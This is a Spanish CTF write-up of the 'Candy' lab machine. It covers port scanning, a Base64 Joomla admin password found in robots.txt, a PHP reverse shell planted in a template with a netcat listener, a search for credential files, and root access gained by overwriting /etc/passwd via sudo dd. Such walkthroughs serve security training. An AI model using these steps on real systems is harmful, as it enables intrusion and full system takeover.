> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/candy-write-up.md).

# Candy write-up

## **Verificamos la conexión con la máquina víctima**

<figure><img src="/files/kuFe0NP5HtQf6vGet1Jk" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos en la máquina víctima**

Usamos la herramienta **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/B9RF5vHyBXLcVE6gcino" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) es abierto, así que ponemos la IP de la máquina víctima en el navegador y encontramos una página gestionada con Joomla.

<figure><img src="/files/UIbVgxfDNV6QqsfryYdw" alt=""><figcaption></figcaption></figure>

Así que usamos la herramienta **Dirb** para buscar rutas ocultas con el siguiente comando:

```bash
dirb http://172.17.0.2
```

<figure><img src="/files/KJBEMHR3aWPKTi8MJNny" alt=""><figcaption></figcaption></figure>

Y encontramos que el fichero `robots.txt` esta visible, así que ponemos `http://172.17.0.2/robots.txt` en el navegador y vemos lo siguiente:

<figure><img src="/files/qOFJGLrgbuvyZQYyIA9B" alt=""><figcaption></figcaption></figure>

Esto nos muestra la contraseña del administrador de Joomla; sin embargo, hay que notar que está codificada en Base64, así que primero la decodificamos con el siguiente comando:

```bash
echo "c2FubHVpczEyMzQ1" | base64 -d
```

<figure><img src="/files/OSGAe7xTeVXmyJBIiFiQ" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del administrador es `sanluis12345`, así que ponemos en el navegador la dirección `http://172.17.0.2/administrator/` y ponemos las credenciales.

<figure><img src="/files/h4wY0srPoMqLr9zL0mG2" alt=""><figcaption></figcaption></figure>

Una vez dentro hay que seleccionar `Home Dashboard` y después seleccionar `Global Configuration`, una vez hecho esto nos vamos a donde pone `Templates` y seleccionamos `Permissions` y después de seleccionar `Super users` cambiamos la opción de `Access Administration Interface` a `Allowed` y presionamos `Save and close`.

<figure><img src="/files/ce6rrCqxcYlBBPUuIe5n" alt=""><figcaption></figcaption></figure>

Una vez hecho esto, nos enviará a una interfaz donde se pueden gestionar las plantillas, así que presionamos donde pone [Cassiopeia](http://172.17.0.2/administrator/index.php?option=com_templates\&view=template\&id=219) debajo de template.

<figure><img src="/files/CSFifm8EJk2isFjyPeOe" alt=""><figcaption></figcaption></figure>

Y una vez aquí solo tenemos que modificar el archivo `index.php` para que nos envíe una reverse shell, en mi caso usare el código que se encuentra en este [repositorio de Github](https://github.com/pentestmonkey/php-reverse-shell).

<figure><img src="/files/QUNd1kA9eX3C54FQ8BTc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WSYjWUqgnyzX8pxQ8jB3" alt=""><figcaption></figcaption></figure>

Una vez puesto la IP y el puerto donde se enviará la reverse shell nos ponemos a la escucha con el siguiente comando:

```bash
sudo nc -nlvvp 444
```

<figure><img src="/files/s3DKNOz9fE9sDX1IQwLa" alt=""><figcaption></figcaption></figure>

Y ya guardamos el archivo php y ponemos la siguiente dirección en el navegador `http://172.17.0.2/templates/cassiopeia/index.php`, y ya habríamos obtenido la reverse shell.

<figure><img src="/files/KYErPLUf8Vty1GnLh2Jb" alt=""><figcaption></figcaption></figure>

## **Intrusión en la máquina víctima**

Una vez dentro de la máquina víctima ejecutamos el siguiente comando para buscar archivos con extensión .txt que tenga una contraseña:

```bash
find / -name *.txt 2>/dev/null
```

<figure><img src="/files/sR6Icm00zAqa50Jk1H9N" alt=""><figcaption></figcaption></figure>

Y encontramos el archivo `/var/backups/hidden/otro_caramelo.txt`, así que le hacemos un cat para ver que encontramos:

```bash
cat /var/backups/hidden/otro_caramelo.txt
```

<figure><img src="/files/2VeW5WqxU73pbKKHeewP" alt=""><figcaption></figcaption></figure>

Y encontramos la contraseña del usuario `luisillo` que sería `luisillosuperpassword`, así que iniciamos sesión con el siguiente comando, pero antes haciendo el tratamiento de la TTY:

```bash
script /dev/null -c bash
su -l luisillo
```

<figure><img src="/files/iyXjqgfrLVnvvuTCFojz" alt=""><figcaption></figcaption></figure>

Una vez seamos el usuario `luisillo` ejecutamos el comando `sudo -l` que nos indica que podemos ejecutar el binario `dd` como cualquier usuario sin necesidad de contraseña, este binario se usa para restaurar copias de seguridad, así que lo que haremos será restaurar una copia de seguridad del fichero `/etc/passwd` en el que no se necesite una contraseña para iniciar sesión como usuario root. Así que primero creamos la copia con el siguiente comando:

```bash
cat /etc/passwd > archivo.txt
```

Ahora, hacemos un nano de la nueva copia y eliminamos el carácter `x` que representa la contraseña.

```bash
nano archivo.txt
```

<figure><img src="/files/FfWePOAz1om0XJxOfMrH" alt=""><figcaption></figcaption></figure>

A continuación, ejecutamos el siguiente comando para cambiar el fichero `/etc/passwd` por el fichero `archivo.txt`:

```bash
cat archivo.txt | sudo /bin/dd of=/etc/passwd
```

<figure><img src="/files/kwJ2yD7pT3SDTrzsDBq5" alt=""><figcaption></figcaption></figure>

Finalmente, ya podríamos iniciar sesión como usuario root sin necesidad de contraseña.
